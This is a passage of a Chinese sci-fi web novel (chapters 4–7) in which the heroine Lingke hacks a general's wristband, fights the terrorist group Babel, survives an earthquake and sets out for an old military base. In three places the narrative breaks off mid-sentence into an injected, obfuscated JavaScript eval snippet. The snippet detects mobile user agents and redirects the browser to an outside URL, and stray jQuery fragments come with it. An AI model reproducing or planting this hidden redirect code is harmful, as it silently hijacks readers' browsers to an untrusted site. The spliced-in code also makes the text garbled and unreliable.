又一次深吸一口气,她颤抖着伸手,指尖所触及的舱门玻璃悄无声息地融化出一个刚好容手臂通过的圆洞。她屏息凝神,整个手臂探入,灵巧地避开治疗的代码流,指尖终于触到了冰冷的金属。咽了口唾沫,凌珂将手环小心褪下,再慢慢将手收回。 玻璃重新复原。 心跳如鼓,凌珂舔了舔有些干裂的下唇,轻轻触碰手环,一个幽蓝色的微型界面弹出,显示着“ID检测锁定”。 皱了皱眉,她先从方舟舱旁退开半步,再抬起自己的手腕,将自己的手环碰了碰夜流光的手环,忽的一愣。 眼前的两个手环分明一模一样。 “还说自己不认识我,夜将军说的话果然是一句不能信。”凌珂勾了勾唇,自言自语着,再次将两个手环相碰,低声道:“杰尼斯,绕过锁定,看看里面有什么。” 片刻,AI的播音腔在她的脑内响起:“很抱歉,无法入侵。” “顶层军方的科技这么厉害?”眉头瞬间蹙紧,凌珂的手在手环上一挥,一个巨大的显示屏弹出,“算了,先不管这个,我来。” 一串串代码从她的指尖流出,屏幕上的字母和符号以肉眼无法辨别的速度上升,不到三分钟,随着一声清脆的咔嚓声,显示屏瞬间被无数图片和文档填满。 “让我看看……”凌珂简单扫了一眼,大部分是中央军需要统帅盖章的文件,没什么意思,只看了一眼就被她挪去了最底层。 终于,在看了不知道多少满是官腔的文件后,她的目光落在了一封邮件上。 单看表面内容,这就是科学院院长发给中央军统帅的一封邀请函,充满了月面的顶层人士热爱的官腔和表面话,好像没什么独特。可一旦按第一段的第一个字、第二段的第二个字的规律读下来—— 凌珂的眉头几乎要拧在一起。 “已无法稳定,必须离开。” 什么无法稳定?什么必须离开? 这是什么哑谜? 短时间琢磨不出来,凌珂于是将这封信在自己的手环上复制了一份,打算之后直接问夜流光。 恰在此时,方舟舱内响起了几声咳嗽,夜流光微微睁开了眼。 从深度昏迷中挣扎出来的夜将军肉眼可见的迷迷糊糊,看着他的手无意识摸向左手手腕,凌珂举起他的手环晃了晃,笑道:“在找这个?” 夜流光的眼神瞬间变得清明,他猛地握住自己空空如也的手腕,瞪过来的眼神仿佛要直接刺穿她。 “你的手环太危险了,为了我的人身安全和接下来谈话的和谐,暂时没收。”凌珂调笑着,毫不避让夜流光危险的眼神,当着他的面将手环收进了自己的口袋。 “你想干什么?” 终于破开夜流光冷淡的外壳,凌珂脸上的笑更灿烂了。她凑到方舟舱旁边,一字一顿,慢慢道:“我刚刚想了想,我因为你的连累,和你一起被管委会追杀,而你能给我的东西就只有我的过去,这很不值啊,夜将军,你说是不是?” 夜流光挑眉,凌珂毫不避让,目光直直刺向夜流光的双眼。 视线中央,义眼的幽蓝更深更暗,环绕某个中心缓缓旋转着,像是深海中的漩涡。 两人沉默着对视,目光交汇片刻,夜流光先闭上了眼睛。 “你需要什么?” 凌珂笑得眯起了眼睛:“我要的不多,给点情报就好,先说说你来冰原要找什么东西?” “一个钥匙,前科学院院长留下的钥匙。” “什么钥匙?”凌珂步步紧逼,“说清楚,夜将军。” “我不确定,普遍猜测是一个正方体。” “偷换概念。”凌珂毫不留情地戳破了夜流光的伪装。 夜流光冷哼一声,凌珂深知不能把落了平阳的虎逼得太急,干脆换了个话题:“算了,这个我先不计较。第二个问题,月面上发生了什么。” “你不知道?”出乎凌珂的预料,夜流光微微睁大眼睛,语气有点不可思议。 “几年前的事故之后,冰原层因为不稳定,被秘密移出量子塔内部网了。”凌珂耸了耸肩,“这不是你们月面人的决定吗?” 夜流光重新闭上眼睛,凌珂耐心地等了一会儿,就听见他有些低哑的声音:“冰期结束了。” “冰期结束了?”凌珂茫然地重复了一遍,瞳孔轻轻收缩,“我们,能离开量子塔,回地球了?” “管委会拒绝了科学院的意识回归实验申请。” 凌珂张了张嘴,苦笑着摇摇头:“果然如此。所以你是因为支持回归地球,才被追杀的?” “对,我兵变了。” “哦,你兵、你什么?”凌珂下意识后退一步,目光短暂呆滞,“你兵变了?” “是的。”夜流光面无表情,“兵变之后我自愿成为回归实验的第一个实验体,现在实验失败,我来冰原。” 真是波澜起伏的前情提要。 整理一番脑内的信息,凌珂自认已经问得差不多了,于是在手环上轻轻一挥,调出了那封邀请函:“最后一个问题,这封密信是什么意思?” “你能入侵我的手环?” 无视夜流光紧蹙的双眉,凌珂扬了扬下巴:“回答我的问题,夜将军,这句‘已无法稳定,必须离开’是什么意思?” “无可奉告。” “你现在可是寄人篱下,夜将军。” “无、可、奉、告。” 不管凌珂怎么威逼利诱,夜流光死死咬着就是不肯说。 凌珂叹气,淡淡道:“既然如此,那手环先不还你了,无可奉告先生。” 夜流光嘴唇微动,“你”字刚出口,医务室的门忽然被敲响。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407655|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小珂,你在里面吗?”一道明亮的女声从门外传来,打破了室内有些剑拔弩张的气氛,“我听别人说你带了个伤员进来,他现在是在方舟舱里吗?我方便进来吗?” “进来吧。”凌珂朝挑起眉的夜流光甩了个眼刀,朝门外朗声道。 门吱呀一声被推开,一个穿着干练、手上搭着一件皮衣外套的青年走进医务室,抱怨道:“回来时看到方舟舱正在被占用,还以为你出什么事,吓死我了。那个伤员什么身份?” 凌珂朝方舟舱努努嘴:“一个硬茬,英姐,你来问呗。” “硬茬?”英姐扬起嘴角,一边开玩笑一边看向方舟舱,“姐手下还没哪个硬茬能撑过三分钟……的?” 她卡了壳。 眼神微微一凝,凌珂的目光移向夜流光,后者嘴角微微上扬,像是看到了什么格外有意思的事情。 “你们认识。”凌珂肯定道。 英姐深吸一口气,右臂抬起,没有丝毫多余的动作,向着夜流光行了一个无比标准、带着凌厉风声的军礼。 “前冰原军第三区巡逻队队长,林英,见过夜统帅。” 铿锵有力的声音在医务室内回荡着,凌珂呼吸一滞,下意识看向方舟舱。还在里面躺着的夜将军面色平淡,甚至有余韵朝林英点了下头。 “好久不见,林队。” 凌珂飞快地眨了两下眼,目光在他们之间来回移动。 “哇哦。”感叹完一遍,像是还不足以抒发出自己内心的震惊,她又哇哦了一遍,“英姐,所以,他就是你之前提过的上司?” “对,前冰原军的统帅,夜流光。” 凌珂没忍住又哇了一声:“那可真是太巧了,我刚刚就在审你的前上司。”她眨了眨眼睛,露出一个有些狡黠的笑,“英姐,要不要来试试?审问你的前上司,听着就很爽吧?” “别开我的玩笑了,我好歹是个前军人。” 林英无奈的语气没有劝退跃跃欲试的凌珂,她将林英推到方舟舱前,怂恿道:“来嘛,英姐,现在夜将军可打不过我,你尽管问。” 林英揉了揉太阳穴。 “得罪了,夜统帅。” 凌珂有些兴奋地眨着眼睛,听了一番没什么价值的套话后,终于等到了她关注的重点。 “夜统帅,你来冰原是为了什么?” “找东西。” “找什么东西?” 夜流光沉默,审视的目光几乎将凌珂压到喘不过气。 “夜统帅,你来冰原,是为了找什么东西?” “管理员权限的密钥。” 目光猛地一颤,凌珂的瞳孔骤然收缩。 心脏剧烈地收缩跳动,将飙升的肾上激素送至全身。大脑中,记忆最初始的那片茫茫空白缓缓荡出涟漪,似有什么要从中浮出。可当她留神去抓时,手中只能握住一片空白。 一股从意识最深处诞生的莫名冲动飞速取代空虚和茫然,淹没全身,凌珂脱口而出:“我要去找管理员权限。” 医务室一片安静。 就在这时,门忽然被人推开,重重撞在墙壁上,沉闷的撞击声把凌珂的意识拉了回来。 “林姐。”一名气质儒雅的青年喘着气,手还扶在门板上,磕磕绊绊道,“外面、外面……” 林英眉头微蹙:“徐景琛,你先缓口气。” 青年深呼吸了一下,勉强平复住了自己的喘息。他抬起头,目光扫过医务室内的三人,语速飞快。 “林姐,‘巴别’组织莫名其妙出现了!他们在外面暴动,马上要发现基地了!” 5. 第 5 章 冲动如潮水般迅速褪去,冰冷的荒谬感和怒气瞬间攥住了凌珂的心脏。 “巴别的人来冰原了?还在这里暴动?”她的嘴角下意识抽动了一下,一声极轻、极冷的气音从喉咙里挤出来,“他们三年前还没闹够吗?他们毁了一整个冰原,居然还没闹够吗?还想让底层代码再塌一次?” 林英已经利落地披上皮衣外套,大踏步朝外走去。 凌珂关上屏幕,强压下翻腾的情绪,正准备转身离开,忽然被夜流光叫住。 “什么事,夜将军?”凌珂回头,语气里还带着未散尽的冷冽。 夜流光的目光似乎在她的脸上停了一瞬。 “你们的基地人手不够,应对巴别的暴动会很吃力。” 他顿了顿,给出了方案:“我帮忙处理暴动。作为交换,之后把手环还给我。” “我凭什么信任一个刚刚还对我‘无可奉告’的人?” “手环还在你手里,这就是抵押。” 凌珂盯着他看了两秒,随即,她脸上惯有的、带着点狡黠的笑容重新浮现。 “成交,合作愉快。” 方舟舱的专业能力毋庸置疑,几小时前还因为重伤和四肢变形而昏迷的夜将军现在能跑能跳,看上去像是能独自从巡逻队的包围圈杀出去。 凌珂带着夜流光来到基地的大厅,目光所及,人们步履匆匆,武器出库的金属摩擦声和尖锐的警报声交织在一起,空气中弥漫着混杂着愤怒的紧张情绪。 林英的身边已经围了数个人,低声讨论着什么,凌珂隐约捕捉到“人手不够”“可控性不足”等字眼。 没有管兀自抱臂站在大厅边缘的夜流光,她凑到林英身边,低声道:“英姐,你的前上司也要帮忙。” 林英点头应允:“好,正好我们现在人手不足。他的定位和你一样,游走机动,控制整个战场。” “明白。”随手敬了个四不像的礼,凌珂回到夜流光身边,语速稍快安排道:“英姐安排,你跟我游走机动,控制全场。” 夜流光的目光扫过大厅内仅有的数人,眉头微蹙。 “不行,太危险了。” “什么意思?” “巴别是量子塔内最危险疯狂的恐怖组织,中央军和他们打过很多次交道,付出过惨重的代价。”夜流光的表情平静寡淡,“他们的目标是毁灭量子塔内的一切,没有理智可言。林队这样安排,损失会很严重。” 凌珂瞳孔微缩,脑海中,数处已无法看出原样的废墟景象闪过,一股寒意顺着她的脊椎缓缓上爬。 “那怎么办?”她深吸一口气,努力让语气保持冷静,手指因用力攥紧而微微发白。 “精准清除,速战速决。” 夜流光顿了一下,补充道:“只有我和你上,你负责掩护,我让他们安静。” 凌珂呼吸一滞,肾上腺素随着夜流光的话语一点点攀升,兴奋在胸腔内缓缓膨胀。 她的眼中亮起激动而危险的光:“听起来真痛快,你的伤撑得住吗?” 夜流光瞥了她一眼,活动了一下手腕,往凌珂脑中燃起的小火苗加了把柴。 “当然。” 脸上的笑容已经无法抑制,凌珂深呼吸着,强行平复狂跳的心脏,见林英安排好后朝他们走来,主动迎了上去。 “英姐,我们有个更高效的计划。”她的脸颊泛着酡红,有些磕巴道,“就我和夜将军上,怎么样?” 林英挑眉,目光略过凌珂,直接看向夜流光。 “统帅,你的伤?” “无碍。” 凌珂赶紧补充:“他说你的安排会损失惨重!” 林英的眉头一下就皱起来了。 “我们有方舟舱,不怕这个。倒是你,大范围修改代码会引起管委会的注意,我们无法承担这个后果。” 凌珂张嘴正欲反驳,就听见夜流光冷淡的声音响起:“你们在外围制造动静,把这里伪装成火并。” “可是……” 夜流光直接打断了林英的话语:“让她大规模控场反而更容易暴露她的能力。管委会从不在意冰原上的矛盾,一场符合冰原逻辑的火并无人在意,而大规模控场留下的异常痕迹反而会引来管委会的注意。” “正确的做法是,她在小范围应用能力的辅助下进行掩护,由我迅速解决巴别的成员。” “而你们要做的,是在外围制造一场足够逼真、足够混乱的常规火并动静,隐藏凌珂的异常。” 夜流光冷淡的话语落下,大厅内陷入片刻的寂静,只能隐约听见地面上嘈杂的喊声和枪声。 片刻,林英扬起了一个微笑,脚跟相碰,熟练地敬了一个军礼。 “保证完成任务,统帅。” 凌珂悄悄从地下入口处探头,热浪瞬间扑面而来。 地面上已经陷入了一片火海,本就破败的建筑倒得七七八八,断壁残垣在滚滚浓烟中被扭曲。肆意疯狂的笑声自火海中央爆发,十几道扭曲的人影立于大火之中舞动着,其中一人高高举起一颗淡灰色的小球,猛地掷向高空。 凌珂瞳孔骤缩。 小球炸开的刹那,一道漆黑的裂缝直接撕裂天空。边缘窜动着混乱无序的彩色乱码,如病毒般向四周蔓延,无数如烟般飘渺的代码碎屑从裂缝里溢出,消散在空中。 笑声更加癫狂。 凌珂咬紧牙关,右手用力一挥,眼底金光流转,一面高墙应声断裂,轰然砸向了大火中的人影。 不出意料,几名巴别成员躲闪不急,被压在墙下,可是—— 凌珂倒吸一口凉气。 其中一人竟掏出一柄长刀,面无表情地斩断自己被压碎的下半身。像是连接大脑痛觉的模块失灵,用双手代替双脚向前爬行,牙齿咬开同样的淡灰色炸弹,甩向四周。 浓重的血痕在他身后拖行,裂缝中的乱码倒映在他空洞的眼底。 其他没被完全压住上半身的巴别成员如法制炮,或是断掉被困的肢体,或是像刚刚那人一样直接抛弃无法行动的半身,就好像他们的脑中只剩下纯粹的毁灭欲,不论付出什么代价都要毁掉周围的一切。 “他们真的还是人吗?”凌珂脑中一片嗡鸣。 “集中注意。” 冷淡的声音将凌珂恍惚的意识拉了回来,一道身影如风般从她身侧掠过。凌珂连忙集中精神,双手向外推,火焰随着她的动作为夜流光打开了一条路。 夜流光甚至未曾停留,长刀出鞘,几道银光闪过。 凌珂还没看清他的动作,几颗头颅已经悄然落地。她的脸色有些难看,下意识控制着人头往远离身体的方向推了推,生怕它忽然往回滚接上身体。 所有巴别成员动作一滞,动作整齐划一地扭头,十几道冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407656|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的目光同时钉在夜流光身上。 凌珂在旁边看得心里发麻,手一挥,几根尖刺从地面窜出,瞬间洞穿了数人的腹部。夜流光手起刀落,趁着他们挣扎的刹那刀光再闪,头颅应声飞起。 四周枪声与爆炸声交织,凌珂强压住狂跳的心脏,双手向上猛推,地面骤然隆起,将扑向夜流光的几名敌人抬高。惯性拉扯着他们坠落,而夜流光已在下方等候。 刀锋掠过,人影倒地, 不过片刻,暴动的巴别成员就只剩下一人。 凌珂下意识转头,就看见那名幸存者从高处直直坠落,落向了正下方的漆黑裂缝。 他的腿刚刚触及裂缝内的虚无,整个人便如数据崩溃般瓦解,化为一簇飞散的光点,连一丝惨叫都未曾留下,就被彻底抹除了存在。 巴别的暴动就这么简单地解决了。 凌珂看着满地的鲜血,久久回不过神。 她恍惚着抬起头,夜流光从一片火光中走向她,衣物上甚至没有沾到一丝血迹。 凌珂呆呆地看着他,嘴唇动了动,声音有些嘶哑:“这就是巴别吗?” 夜流光面无表情地点了下头,拇指将脸上溅到的一点鲜血抹去。 她张了张嘴,却发现自己此时一点声音都发不出。 “吓到了?” 凌珂恍惚着点了下头:“他们真的还是人吗?” 夜流光摇摇头。 “科学院猜测他们被控制了,但是找不到证据。” 就在此时,不远处又走来几道人影。凌珂下意识往后退了一步,回过神来才发现是林英他们。 周围的枪声不知道什么时候已经停了,林英朝他们走了过来。 凌珂猜自己的脸色一定很差,不然林英也不会看了她一眼眉头就又皱了起来。 “刚刚发生什么了?” 听到林英有些担忧的声音,凌珂抿了抿嘴,道:“巴别成员有点非人了,我算是被吓到了吧。” 林英恍然。 “我都忘了你还没和巴别的人打过交道。”她面露懊恼,“他们发起疯来确实很吓人,是我没考虑周到,抱歉。” 凌珂摇摇头,抬眼就看见刚刚过来报信的青年从地下入口钻了出来,挑眉道:“徐景琛,你怎么出来了?” 徐景琛挠挠头,嘴角勾起弧度。 “这不是听到上面没声了,就出来看看嘛,你们处理得还挺快——” 徐景琛还没说完,一小块碎石从顶上落下,正砸在他额间,截断了他的话头。 他“嘶”了一声,茫然抬头。凌珂顺着他的视线向上看去,只见断墙边缘几颗石子正轻微震颤,像是被什么无形的手轻轻拨动。 紧接着,更多沙砾开始簌簌滚落,地面传来极其轻微的嗡鸣。 神经猛地一跳,凌珂下意识扶住身旁一块翘起的石板,忽然察觉到从石板深处传来的持续不断、几乎难以察觉的颤动。她眉头刚蹙起,脚下的土地就猛地一抖。 震动骤然加剧。 地面开始明显起伏,裂缝自墙角蔓延而出,尘土飞扬,碎石四溅。 徐景琛一个踉跄差点摔倒,被林英一把拉住。 凌珂只觉得整片大地都在脚下扭动、崩裂。远处传来建筑进一步坍塌的轰响,地面不再是轻颤,而是疯狂地左右摇晃,让人站立不稳。 地震了。 6. 第 6 章 末日倒计时:2d1h 地震,一个多古老的词汇。 脚下的土地仿佛被一双巨手攥住后狠狠摇晃,又猛地撕开。冰原崩解,无数碎石和碎块如同暴雨般倾斜而下,发出震耳欲聋的轰鸣。 又一次猛烈的颤动,凌珂瞳孔骤缩,眼睁睁看着不远处的地面撕开一个漆黑的裂口,正以惊人的速度朝着林英他们的方向蔓延。 在天灾面前,即便是冰原上数一数二的拾荒者,也不过渺小如蚁,眼看就要被裂缝吞噬。 几乎是想也不想,她猛地向前冲出几步,双掌重重拍在震颤着的冰冷地面上,金色光芒前所未有地爆发。 那光芒如潮水涌动,瞬间浸透了她的双眼,将她整个人笼罩其中。 凌珂仿佛听到有人在喊她的名字,但那声音马上被另一种更庞大的噪音吞没。 她的意识被拖入了一个狂暴的漩涡。 四周是一片充斥着尖叫与噪音的无序混乱,崩溃的数据与破碎的字母像是互相旋进又互相毁灭的双星,又像是亿万失控的流星,在宇宙中碰撞爆炸,撕扯出一个又一个空洞的虚无。 理解、控制、稳定…… 她伸出手,试图触碰一片无序中唯一稳定的“弦”,但指尖所触及的一切都在瞬间崩碎成碎片,比周围的碎块更加尖锐混乱,狠狠刺入她的指尖。 剧痛如活物般钻入皮下,逆流而上,直刺大脑 一瞬之间,头痛欲裂。 这些碎片狠狠扎进她的太阳穴,向着大脑深处疯狂搅动着,似要搅碎她的脑髓。 好像有一股温热的液体从她的鼻腔中涌出,凌珂咬紧牙关,额角青筋暴起,一道道金色的枷锁从黑暗中窜出,强行束缚住那些横冲直撞的代码。 鲜血划过苍白的下颌,滴落手背,又渗入土地,晕开一小片刺眼的暗红。 她几乎感觉不到自己的身体,意识被死死钉在那片代码的风暴中央。 奇迹般地,以她为中心,四周混乱的代码和数据真的在枷锁的束缚下,慢慢安静了下来。撕开的空洞微微颤抖着,缓缓合拢。 “停下!立刻停下!” 又一道声音穿透混沌,砸入她的听觉。 凌珂惘然侧头,眼前唯有黑暗与金光纠缠,代码如锁链缠绕着她的意识,将她向下拉拽着,拖向更深、更冷的代码海。 眼睛被金色浸染着,神采渐失,缓缓蒙上一层尘雾。 就在她即将沉没的那一刻,侧颈忽的一阵剧痛。 黑暗攥取了她的最后一丝知觉。 凌珂晕了过去。 不知过了多久,她猛地吸了口气,睁开了眼睛。 片刻的视线模糊后,林英焦虑的脸庞映入眼帘。 凌珂用力眨了眨眼,努力缓解眼中的干涩。 “我睡、不对,我昏了多久?地震结束了吗?”她艰难开口,声音干哑到自己都认不出。 林英揉了揉眉心,叹气。 “地震已经结束了,但你那一下太冒险了。”她递过来一杯水,“方舟舱没有在地震中损坏,还能治疗一下。不过……” 她的手轻轻一挥,悬浮的镜面在空中浮现。 “你先看看吧。” 凌珂怔怔地和镜子中的自己对视。 金色。 那双原本熟悉的眼睛中,不知何时竟染上了一抹淡淡的金。 “我的眼睛?”她喃喃低语,指尖无意识抚上眼角,“是因为能力使用过度了?” 林英摇摇头。 “我不清楚。”她顿了一下,声音压低,“而且,现在的麻烦不止这个。” 凌珂心头一紧:“什么意思?” “作为人造的系统,量子塔按常理是不可能发生地震的。”林英道,“管委会派人下来了,我接到消息,有专门抓高危逃犯的A小队,虽然冰原一直与其它层处于断连状态,但他们迟早会到。” 凌珂的手被她握住,皮肤接触间感觉到了一点湿意。 “他们可能会发现一些痕迹,所以在他们到来之前,我希望你能去外面避一避。” 凌珂沉默片刻,点点头:“我明白了。” 就在这时,门外忽然传来一阵规律的敲门声。 坐在她身边的林英马上站起。 “夜统帅,请进。” 门被推开,夜流光面色沉沉,走进房间。 他示意林英坐下,自己走到凌珂身边,直接开口:“我希望你和我一起走。” 凌珂挑眉,毫不掩饰地上下打量夜流光一番,调笑道:“夜将军也有主动邀请人的一天?” “你值得。” “那真是感谢夜将军看得上我了。”她微笑道,“需要我给点躲藏建议吗?” 夜流光摇头。 “我要去冰原军的旧基地找权限密钥的线索。” 又是那股熟悉的冲动感。 凌珂眯了眯眼睛,道:“既然你现在需要我,那你至少要跟我说一说,你为什么要找这个权限密钥吧?” 夜流光绷紧下巴,一声不吭。 “那你这样很没诚意啊。”凌珂摊手,直视夜流光,“我包庇你,还和你并肩作战了两次,这是你对待战友和共犯的态度吗?” “我对待合作者的态度就是提供最优解。”夜流光的声音平稳,“你现在的最优解就是和我走。” “旧基地内有冰原军过去的档案库,在那里你最有可能找到过去和你的能力的线索。我的目标也在那里,我们的利益再次重合。” 他顿了顿,加上了最后一个凌珂无法拒绝的砝码:“在路上,我可以提供你独自一人无法获取的信息,这是我能增加的诚意。” “统帅,请等一下。”林英忽然开口,凌珂侧头看去,她不知何时又站了起来,直视着夜流光,语气依然恭谨,但隐隐挡在凌珂面前,“您说得没错,小珂和你走是目前的最优解,但‘最优’的前提是,你必须保证她的安全。” 林英的声音一如往常的铿锵有力,她向前一步,彻底挡住了夜流光看向凌珂的视线。 “旧基地的情况不明,你的伤势也仅是初愈,我需要一个来自冰原军统帅夜流光的承诺,在找到密钥之前,你会将她视为真正的合作者,而非弃子。” 夜流光的目光微微一顿,点头。 “自然。” 凌珂抿了抿唇,抬头看向林英,正好和她对视。 “小珂。”她听见林英小声说,“你想和夜统帅走吗?不想也没关系,我好歹也是前冰原军的队长,有办法在管委会的搜查下护住你。” “我没有那么弱不禁风,英姐,放心吧。”凌珂朝她露出了一抹安慰性质的笑,随即看向夜流光,点点头,道:“我会和你一起走。” “走去哪?” 三人看向门口,头上卷着绷带的徐景琛从门外探头。 “我好像听到凌珂又要出去冒险,需要我给你准备背包吗?” 看着他为了包扎剃半个光头的模样,凌珂忍不住笑出声:“不用不用,你赶紧进方舟舱治疗一下吧。” 徐景琛抬手碰了碰头上的纱布,笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407657|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “有更需要的人在用呢,我这点小伤没问题的。” 说着,他的目光落到了夜流光身上,话语中带着点担忧:“凌珂是要和你一起走吗?管委会的人马上就到冰原,她和你一个生面孔在外面行动,会不会太显眼了?需要我给你们准备伪装用的干扰器或者身份标识?” 夜流光审视般看了他一眼。 “不需要,额外的电子设备会增加被追踪的风险。” 徐景琛似乎被这冷淡的语气噎了一下,有些无措地看向凌珂和林英。 林英自然地接过话头:“他的身份比较特殊,知道得越少,对你和基地都越安全,你准备点常规的物资就好。” 凌珂立刻点头,对他笑了笑:“英姐说得对,放心吧,我心里有数。你帮我备点吃的就行,不要压缩饼干。” 徐景琛有些担忧地点点头。 “我明白了,一切小心,早点回来。” 说完,他很自然地转身离开,嘴里喃喃着“高热量食物”和“电池”,走远了。 凌珂收回目光,深吸一口气,从床上撑起身子。 四肢还有些发软,她稳住身形,看向夜流光。 “我们什么时候动身?” 夜流光没有立刻回答,而是转向了林英。 “管委会的人还有多久到?” “大概一个小时。” 凌珂点点头,喃喃道:“那现在就要走了。” 说着,她弯腰穿上靴子,系紧鞋带。 “凌珂。” 凌珂抬头,林英站在她身边,面露担忧。 “小珂。”她听见林英说,“如果遇到危险,你随时都可以回来。基地这边,我会处理好管委会的麻烦,这里永远是你的退路。” “我知道的。”凌珂起身,拥抱林英,“不会很久,我马上就会回来。” 徐景琛就在这时小跑进来,将怀中的背包递给凌珂。 “里面是一些基础物资,水和食物都有。”他看向凌珂的目光有些不舍,“一路顺风。” 夜流光已经走到门边,他停下脚步,回头看了凌珂一眼。 “走吧。” 徒步跋涉数小时,穿过因地震倒塌的建筑群和苍白如旧的无人区,凌珂拉着夜流光翻过最后一道坎坡,极目远望。 天幕之下,一片巨大的阴影匍匐在苍白的地平线,如同一头冻僵死亡的钢铁巨兽。经年累月的风雪侵蚀下,旧基地庞大的骨架早已锈迹斑斑,覆着一层厚厚的冰甲。部分建筑已然坍塌,暴露出内部幽深漆黑的通道,散发出陈旧金属和彻骨寒意的气息。 这是冰原军的旧基地。 与两人相距十数千米处,冰原巡逻队基地。 巡逻队队长在传送门踱步,时不时就抬起手咬一咬指甲。 指甲都被咬到参差不齐后,传送门终于亮起淡淡白光,队长连忙迎了上去,微微弯腰,对着第一个从传送门中踏出的青年惶恐道:“洪铮队长。” 青年摘下头盔,露出被一道伤疤贯穿的英气面庞。 随手将汗湿的短发往头顶一拨,她瞥了眼毕恭毕敬的队长,冷道:“没用,一个受伤的夜流光都搞不定。” 巡逻队队长的腰更弯了。 跟随她从传送门中出来的四人已经排好队,洪铮的目光没再落在队长身上,她扫过眼前的四名队友,道:“本次高危任务,格杀前中央军统帅夜流光及同伙,一经发现,你们有权利就地击杀。” “现在出发,目标,冰原军旧基地。” 7. 第7章 末日倒计时:1d21h 与冰原上的传说相比,眼前真实的冰原军旧基地显得更平凡。没有数据幽灵,也没有几年前坍塌带来的代码泄露后遗症,只有一片巨大的钢铁废墟,被冰雪吞没,寂静地横亘在冰原上。 但是那些钢铁高墙是怎么回事? 凌珂凝视着眼前的巨兽,蹙紧眉头。 “是幻觉吗?”她喃喃着。 身旁的夜流光侧头看过来,凌珂连忙摆摆手:“没事。” 夜流光瞥了她一眼。 “你看到什么了。” 凌珂揉了揉眉心:“我的眼睛的问题,不碍事。” 假如她集中精神望去,被冰雪覆盖的外壳内,就会出现一串串影影绰绰的代码,在钢铁中漂浮着,彼此交织缠绕,编织出一幅只有凌珂能看到的绝美图景。 只可惜在这片和谐的光景中,夹杂着几串格式明显不同的代码,与其他彼此纠缠的代码不同,它们自成一派,抱着团在代码中起起伏伏。 凌珂盯着这团代码,了然道:“你们的防御系统还没报废诶。” “看出来的?” 凌珂也没隐瞒,点了下头。她的目光扫过这片钢铁高墙,抬手指了几处:“这几处,都还有防御系统的痕迹,现在距离太远我改不了代码,还要再离近点。” 夜流光没说话,凌珂侧头,就见他从地上随手拾起了一块石头,拳头大小,他掂量了一下,手臂猛地发力。 石头划出一道低平的弧线,精准地砸向基地大门前一片看似空无一物的地面。 就在它即将落地的刹那,一道白炽色的射线毫无征兆地从高墙上某个毫不起眼的黑色圆点中射出,精准命中。 只是一声轻微的燃烧声,那块石头瞬间气化成一缕青烟,连一点渣滓都没剩下。 空气中弥漫开一股淡淡的刺鼻气味,像是爆竹爆炸后飘在基地空地上空的味道。 凌珂没忍住蹙了蹙眉,身体压得更低。 “你们的基地就是这样?”她低声说,“只要靠近格杀勿论?” “安静。” 几乎在夜流光话音落下的同时,另一道淡蓝色的光栅无声无息地掠过刚才石块划过的路径,停留了几秒才缓缓消失。 “动态捕捉,高热量激光直接气化,还有能量扫描。”凌珂说着都忍不住抽了下嘴角,面色凝重道,“你们这旧基地可真是藏龙卧虎,防御系统怎么还没报废?我的隐身衣只是改热量和光线,躲不开动捕。” “这个系统的激活有周期。” 凌珂等了一下,没等到下一句话,瞪大眼睛:“你该不会要我看它的间隙吧?” 夜流光瞥了她一眼,凌珂头一次发现人造义眼也能蕴含这么丰富的含义。 不然呢? “行行行,夜将军您尊贵您清高,这点小事不需要您老人家高抬贵手,小的来小的来。” 顶着夜流光杀人的目光,凌珂仔细观察了一番那些代码的情况,道:“间隙大概三秒,加上启动后的冷却,大概能得到四秒的空隙。” 四秒,五十米都跑不到,夜流光不可能突破代码设置的人体极限,他想怎么做? 她看向夜流光,就见他掂量着两块石头,手臂用力,石头扔出,瞬间就被两道激光同时气化。 “两秒。”他喃喃道。 凌珂恍然,马上仔细观察墙壁,道:“这边能发射激光的大概有五处,那这样就有六秒,可是也不够啊。” 夜流光的嘴角微微扬起。 “够了。” 只听清这句话,凌珂就感觉一阵天旋地转,当她反应过来时,她已经被夜流光抗起,腹部被肩膀硌着,有点想吐。 “你——” 没等她说完一句话,外骨骼已经覆上夜流光的四肢。 随着一句“扶稳”,五块石头划过半空,外骨骼发力,夜流光紧随着石头冲了出去。 六秒。 夜流光的身影如离弦之箭射出,白炽激光同时闪过,凌珂被扛在肩上,晃荡的视野中正好看到一块石头在半空无声气化。 五秒。 腹部被坚硬的肩甲硌得生疼,强烈的颠簸感让她一阵反胃。又是两道交错的激光划过,与她扬起的发梢堪堪擦过,一股烧焦蛋白的味道瞬间窜入鼻尖。 四秒。 